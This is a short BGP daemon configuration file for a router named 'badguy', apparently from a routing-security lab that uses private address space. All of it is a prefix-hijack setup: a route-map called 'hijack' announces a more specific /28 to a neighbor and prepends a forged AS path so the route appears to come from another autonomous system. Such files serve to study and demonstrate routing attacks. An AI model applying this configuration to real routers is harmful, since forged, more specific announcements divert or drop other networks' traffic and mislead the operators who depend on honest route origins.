
! BGPd configuratin file
!
!
hostname badguy
!
router bgp 10  
bgp router-id 10.10.0.1
network 10.10.0.0/24
network 192.168.10.0/24
network 192.168.30.0/28
neighbor 10.40.0.1 remote-as 40
neighbor 10.10.0.2 remote-as 20
neighbor 10.10.0.2 route-map hijack      out
!
!add no redistribute static 
 access-list all permit any
!
ip prefix-list plist permit 192.168.30.0/28
route-map hijack      permit 10
 	match ip address prefix-list plist
 	set as-path prepend 20 30
route-map hijack      permit 20
 match ip address all               
log file  /tmp/bgp.log

